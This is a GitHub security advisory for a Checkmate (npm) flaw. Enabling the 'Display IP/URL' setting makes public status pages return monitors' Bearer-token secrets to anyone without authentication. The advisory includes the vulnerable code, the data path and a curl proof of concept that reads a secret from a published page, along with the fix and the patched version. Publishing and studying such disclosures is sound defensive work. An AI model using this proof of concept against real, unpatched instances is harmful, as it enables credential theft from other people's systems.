Skip to content

Sensitive Bearer Token Exposure via Public Status Pages When showURL Setting is Enabled

High
ajhollid published GHSA-3m74-8cg9-rp8j Jul 7, 2026

Package

npm checkmate (npm)

Affected versions

>= 3.3, < 3.9.2

Patched versions

3.9.2

Description

Summary

When the global showURL application setting is enabled (labeled "Display IP/URL on status page" in the UI), the public status page API endpoint (GET /api/v1/status-page/:url) returns the full monitor object — including the secret field containing Bearer tokens used for HTTP monitor authentication — to any unauthenticated visitor. This exposes sensitive credentials used to authenticate the monitoring server against monitored endpoints.

Details

Root cause: In server/src/controllers/statusPageController.ts lines 119-127, the code conditionally strips sensitive fields from monitor objects returned on public status pages:

const normalizedMonitors = sortedMonitors.map((monitor) => {
    const normalizedChecks = NormalizeData(monitor.recentChecks, 10, 100);
    if (!showURL) {
        const { url, port, secret, notifications, ...rest } = monitor;
        return { ...rest, checks: normalizedChecks };
    }
    return { ...monitor, checks: normalizedChecks };  // Line 126 — includes ALL fields including secret
});

When showURL is true, line 126 spreads the entire monitor object into the response, including the secret field. The secret is correctly stripped when showURL is false (line 123), but when the admin enables "Display IP/URL," the intent is to show URL and port — not authentication credentials.

The secret field contains Bearer tokens used in monitor HTTP requests (HttpProvider.ts line 150: headers: monitor.secret ? { Authorization: \Bearer ${secret}` } : undefined`).

Taint path:

  1. Admin enables showURL in global app settings (UI label: "Display IP/URL on status page")
  2. Admin creates published status page with HTTP monitors that have secret configured
  3. Any unauthenticated user accesses GET /api/v1/status-page/:url
  4. verifyStatusPageAccess middleware allows unauthenticated access to published pages
  5. Controller fetches full monitor objects via monitorsRepository.findByIds() (no field exclusion)
  6. Because showURL is true, the full monitor object (including secret) is in the JSON response

UI vs API discrepancy: The client-side BaseStatusPage.tsx only renders monitor.url, not monitor.secret. However, the API JSON response contains the secret in plaintext, extractable via curl.

Config-backed exposure: showURL defaults to false (AppSettings.ts line 39). The UI label says "Display IP/URL on status page" with no warning about credential exposure.

Affected commit: ce4cb63

PoC

Prerequisites: Checkmate instance with an HTTP monitor configured with a secret (Bearer token), admin has enabled showURL and published a status page.

# Step 1: Create HTTP monitor with Bearer token
TOKEN=$(curl -s -X POST http://localhost:52345/api/v1/auth/login -H 'Content-Type: application/json' -d '{"email":"admin@example.com","password":"AdminPass1!"}' | jq -r '.data.token')

curl -s -X POST http://localhost:52345/api/v1/monitors/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"type":"http","name":"internal-api","url":"https://internal-api.example.com/health","secret":"sk-prod-service-account-token-abc123","interval":60000}'

# Step 2: Enable showURL
curl -s -X PATCH http://localhost:52345/api/v1/settings/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"showURL":true}'

# Step 3: Create and publish status page with the monitor
curl -s -X POST http://localhost:52345/api/v1/status-page/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"companyName":"Example","url":"example-status","isPublished":true,"monitors":["<monitor-id>"],"type":"uptime"}'

# Step 4: Unauthenticated access exposes the secret
# No auth token needed — published status pages are public
curl -s http://localhost:52345/api/v1/status-page/example-status | jq '.data.monitors[0].secret'
# Expected output: "sk-prod-service-account-token-abc123"

Negative case: With showURL set to false, the same request returns null for the secret field — confirming the conditional stripping works when the setting is disabled.

Impact

This allows any unauthenticated user who discovers a published status page URL to extract Bearer tokens used by the Checkmate server to authenticate against monitored HTTP endpoints:

  1. Credential theft: Authentication tokens (API keys, service account tokens) are exposed in plaintext
  2. Lateral movement: Stolen credentials can access internal APIs
  3. Cloud service compromise: Tokens for cloud APIs (AWS, GCP, Azure) are exposed
  4. No authentication required: The status page API is publicly accessible

Limiting factor: Requires showURL to be enabled by an admin (defaults to false). The UI label "Display IP/URL on status page" gives no indication that credentials will also be exposed.

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-200

Suggested fix: Always strip secret and notifications regardless of showURL:

const { secret, notifications, ...rest } = monitor;
return { ...rest, checks: normalizedChecks };

Patches

Fixed in v3.9.2 (commit cc1814f). The public status-page payload now uses a strict allowlist of monitor display fields; secret and all other internal fields are never returned regardless of the showURL setting.

If you cannot upgrade immediately: disable the "Display IP/URL on status page" setting or unpublish status pages until you are on 3.9.2+.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-71862

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Insufficiently Protected Credentials

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. Learn more on MITRE.

Credits